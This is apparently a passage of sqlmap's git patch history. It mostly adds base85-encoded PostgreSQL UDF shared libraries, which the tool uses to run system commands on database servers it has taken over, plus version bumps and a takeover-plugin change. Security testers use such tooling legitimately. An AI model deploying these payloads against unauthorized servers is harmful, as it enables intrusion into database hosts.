0000000000000000000000000000000000000000..654929d918ccd58361c208660d05f91cae0e336a GIT binary patch literal 2640 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 literal 0 HcmV?d00001 diff --git a/data/udf/postgresql/linux/64/10.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10.0/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..121c6369c368d5449d647ec0ea08517f5dca202f GIT binary patch literal 2632 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 literal 0 HcmV?d00001 diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..8dc29af55007466c36415daca58d04f809071886 GIT binary patch literal 2632 zcmV-O3b*wKob4tA6D-$eK(=gm6b<7)fAeo=Yr2dvCSzf8dW!8w;dzDfb#p$$#SZMm z!-+!shHWL4sHQFvg4c5vj0&38DvY5uIt$WOWh&HOZyzPMu#Q%YHh{X86c>R$bd)%} z??m?_4V=aV{IUH`te~%@DEgzE33D$dFtsL^q;i%-!WOpEQm>t9A59Xo3hL`_AuJBHte)C zRI@#ve7PGm^^81n$Hqj<&jKkcAVT9(>Dc)0kN3V?t^5bpinkd5tmJ4Q6JhxN#_2d5 z0BGh*GgRrzM);?zVBK#6FaY%VyuEUR|5J|NJz+q7{~BchMbRif6{<>%?7v2G-;jm? zO>zK3GDDBj@F>#o>(l7tO|_1|zkJz4eZNGF{;Es*pQrHvRgM4UOa7G>{1~L+G|9;Q zC3FV%cl>5e4FIR4(f@pnOq*ANhV}dBZ{wdH{8h#{a;QLw^du~!`bP6mW~NNQ_+U-` zJjU;%MU%Cjy!SG z_fGu@#=DvR>qe>VF`@%;sm?Ujna2yRaEr5(>6{!zN(Fj0st|KYHg4HsmRgB7{#m~> zTVQ8hDk-m&>bxEhy+BSKx8@2nEUN1*y>@@Ao&p z=2>u&y+j*UTZdXkR|aL=9=utN?mu7XUY>@qA*8#JFG5xMf-R(4T?PmTLdetx<)B1e zGzt;9xsgAK>=IjEAlU0-=D*!yU!fn!+dBjGAx1sIA+4o|V-fO%B{#@ycR7YCs`W_G z1->5#WEBL0GC|VV=y8!~+yO@9uQUqx`Fu}5?nUsY?K`~Q62w>pe4wDI`xmiZA>;@CA|6V|kK_1_WB+oF-^%f`N4|mM`BGWL@kV36gX4OR5aswI zju7Vu0iW;U2LUwN&++{J|9QtS;P^aapU?3)M*&U8VC4sN$Hzv#kmJSZ7$zMU<`D9& zI|E8lWRv|J^gAg~Hc>}$D-F(e_@6}6aVUsnur=Z>ZPJ_(#JGfQ{cHbaPEnmZoZ`1{ z<83ixq4+YyxP)yGFZ@LvBSnc(iuYZ{T9X&0xO`5An|Ch!bsZyJiLGnzJB&13v6|vf z9V2aaM8)4cj4Ym4rnqTN-bHp)#hY*A)L6`GuR4q@o?mOPKa4D$xJHQBiP$syF!4-? z^B4bCQ9eVS_MhUph*;46EJI`tLG3`rEN(EQ{nzwZCyB4?@w~*Aj(msp9aGbQ472E- zr~_RvfvHU~(56+VSq8}{ltc_j^{?s0CS}4e|8qsgX=9&&P2XjN`W?@pHY*W|Lh4P? z&{&>glu}>VOd)K{Il&7Btu!P*hf4rBj8XkgD}OeKSS0Ktx^@Q&R`fq=;UFO9Wx#o? z-iq}R_kyG}46io$z*rtcEXmXl0|Il*{dWFaOpa@$M#0)*UUU9%AK&sACu!*P(Op z-LtWbXE8+3im?KJ*qBUw=vBiSZ)lbN+jvRWN1pG6xXMpa#|0NT26y4nBpjD2Lh^T| z!S$s2RU;`?SbnKg;IcKjq4cVkVSTwrFCUe&pgPrmkrOR>FVrrBvZ`(xzw6k5(wy!& zGAL4c`+n}OU5KqbfVXN(qbZ;`6TuWYQ@hxQL7z< z2-PUy%F(){fXEzU0w_4xBLL{8k*NsTL1@V3dJMUWM z_q8hUXk(>uUz7dUgb|dr-F_KdciG~&PhXyBaubkLmE_|NQN_^e#LkRHxaWzAtDw+n zC{Ted5gu7V-afd`D)2Iro99)Stp4hLV(!@`evFJok#egSyL^+=5~Nk9)EwxjBP-j$ z+Wr^2e3O3AeoP5}XE^K{d{N`}c(hH7H4H%otM{R-5cvy(Ql2lU(gxa@HP2#e0`I
A7;i6JM+m1TtA)ebVN^S}4xGpncx3~X61xD9lzn;-9l|n}P7OuTKoaF~PjYCs8NbGjYLX%}=hOt}zd#?VLYouATWi`_3eH+*K(+ z84GomLRps|63Y*Fh0!yYFWg;gmUbx@->HeAmS+08lGDPzYJcZ{?mVXTWflFvw~Y>WrO~lb!4U%_S9%T?dt;osM-_NKrx4f&w0+ldBLwOPKb*!Q`hXwZ zJm5(6;V&X?^83Jcz|j!Wp}5L8j8q#X8E-XWAasn3rqN59Inx(qGNTqtji&#{q@Ty? z=dbz*H*~wu&nxxcUi3^p{r7}cbL;24(`VM-V5d#1pZ76fDgNajZ2)CnNG1gOnHE+= zTh-4sx3ceT{S)(I=C7Y3>KFx&&xYB#o&gyYVfG@UpS9{3gq9Ae16Nc^&OFTO7_J2b z@X0&lw@k-d!}>?w8~9ah{)!&{bNc|9^xw^gr*act0?ZK@wvE{W%wZe$A{qOb{Y...) -VERSION = "1.3.6.17" +VERSION = "1.3.6.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From a2bc6901701255af9c88d9618425f9d525e64e64 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2019 12:16:05 +0200 Subject: [PATCH 455/800] Update of PostgreSQL UDFs --- .../32/{10.0 => 10}/lib_postgresqludf_sys.so_ | Bin .../linux/32/11/lib_postgresqludf_sys.so_ | Bin 0 -> 2640 bytes .../64/{10.0 => 10}/lib_postgresqludf_sys.so_ | Bin .../linux/64/11/lib_postgresqludf_sys.so_ | Bin 0 -> 2633 bytes lib/core/settings.py | 2 +- 5 files changed, 1 insertion(+), 1 deletion(-) rename data/udf/postgresql/linux/32/{10.0 => 10}/lib_postgresqludf_sys.so_ (100%) create mode 100644 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ rename data/udf/postgresql/linux/64/{10.0 => 10}/lib_postgresqludf_sys.so_ (100%) create mode 100644 data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ diff --git a/data/udf/postgresql/linux/32/10.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ similarity index 100% rename from data/udf/postgresql/linux/32/10.0/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..4053004c3afd4d36f9d0a3046eaa0d5e17cdedc9 GIT binary patch literal 2640 zcmV-W3a|ACob4tQ4{XmZsGTtPn;? zFQqGeMylLLW%RN&>(DQ9HPhq;9gyd|tSwY5iR5{Wo+=$p%TlqrM2oR!?H^UePHD{l|a-oL?ZHfWI~Hw_JXoFu?KiRA}^D zK0!gj{&)@zGf*j>Um%!(?^xIbK|Vo3!T+Uu`=5cEjSrj}ABm zQ=b7-Yz<)gVAS-j;6RCs7aZtAQ` zQJdg*)Z3UB-&1uV(O8IK!REC3sLtxF5x2+26EPq&Yb+ezWwPY(cm7fV!M@oMqm~uB z=&|}bq1sh>>StS`y^aQALAyde0F%|tykW1so<R`0e&`%wF2vu%IOf53$>| z-bu;tnM-oxgR!;}Kl)^Qht=g7f?|m$(Z1gADDQll>Z{rOl7%`9g~^k3STgCUFzpiU zsTQ+3kBcb-e6OYQAoZeZG0#dZOEb^q|GIO`sVtvvRsPYg0kl;7DHKe(Bbl@v{vpGB zMll{>7e|L2LPVoNj|2aI&(H@7fyzXI)1VBGM?(v4&&DA?16TB+myVDOh#a9wZpS@B zj7LeSk;JiPyfab_I&Z+#pwshNUr zMB}3PJ?M=w^+9n_ml1kIGo>{Q@IB6@#=Ra6L%Z8&K|V+_LCpLAWBtqHa{TC`3l#ae zQN7e>>`$D#LM7J?xim|K_6n29R2={_W;Ce{dU-q)x=>0raKac^kV3d6Q7AnY1mk0||Rsgo5|f2YGo!O_byGid(;cY1oh;evf%JF83hz*0htokXFC3BO!v>m-$H$S+iJ^c_OIv43ock?cQ3Y)w)KZnVCZxr!@{?Gw zE8b}(+*L~5LSs_S=@}mTy($!X*j9{tP*$q3eB79WWMp|9(!&srHE>`dah^0*l`z41 z7M@UysI4A6m|=Yt(<~&o$nfy8)U+=Zz67|(y8INZd#Qu8&=ACjL6HRO$|yWYWNNQA z-f&owULX~cAfzR03fVoisriz*GTw>%e=>93%+02dxiZYgm?_FQRzeJ9ngsohU%wFL zs{th9{b2+>0c864VyXI-K!k%?JVCu6U52QN7b29*t@59Kqo_Hn!oicUxY8|FkL~6N zEluASP1BqkX<84X)}VVO8u?CW;m&AcxkuF}JfuKnFE+>X8 z-)5^>08&BuhNdz*8mYL#iaAopPN2B#yrLLVlru9ha`R_dT@ zIR%5=cPOcy9Mm71 zq*vu9RuDT32cC{Io(H4~m&|B=!}-)?{D`I@d#xL-Ptv}4ek<1MRg}PbxjnN7=Oma< zGn+C=1FCYVsqoT_ueXhKnNaLbW(Y_)8$9-j$e!ZVtGjYErREEY(YSJ@&!{YPqXE8d{~f_S+{fX9N3`=NF`~t#YLrF=Y0TUI9Mc zyCVVXZgL9}VRE!CA#!vB0CV!@hoLtqhI;Du-V6yWo~?}5K|o{NrR;9B5C zGk8b>*MeYs-+eJG)r#l0aszC*ev?3S6f}PLCl7S^F;k^-;QPV%gPR?(6C%b7uVe~b zO>>6bMM^1(LU;}aR^U_PysV5m*?c?08TPZ`Ody<`Kv_7;hsIa-&N>1Y$5c3B^#0D~ z8)gXVG)*k$0CUR+$Du@jC42dTVFoT4>f9iu>`i+t0MSQSMW+^VC|M%fXJSi%1PkZ) z=<1jDRg>Spf^h+l-*LL_klUW&D8Hhwtscnv!uQykarsur z(;zzZm&mnCwf+eu??&Vwrk(~vDr+!y+G-Dqv26TqoZ)QPlk$A>rt|kFiCy38pin<> yKNb%|drM(Ua!YV4ehq+0feC?efZlkWe>y(bJ|KW$XVtTrUj5VzoBx03e4)PTrZ(*W literal 0 HcmV?d00001 diff --git a/data/udf/postgresql/linux/64/10.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ similarity index 100% rename from data/udf/postgresql/linux/64/10.0/lib_postgresqludf_sys.so_ rename to data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ new file mode 100644 index 0000000000000000000000000000000000000000..9a972cc3fefbce16bf1689bb5585a1cbd424ef74 GIT binary patch literal 2633 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 rkC?s9>_@hMrce790%wZkY_#)t+Yig-Lb5...) -VERSION = "1.3.6.18" +VERSION = "1.3.6.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9df1a3d640a9f62ec01f8042ce32dea57062c253 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2019 12:22:13 +0200 Subject: [PATCH 456/800] Minor patch for PostgreSQL UDF handling --- lib/core/settings.py | 2 +- plugins/dbms/postgresql/takeover.py | 20 ++++---------------- 2 files changed, 5 insertions(+), 17 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bd0d866dbef..26a609ac05f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.19" +VERSION = "1.3.6.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 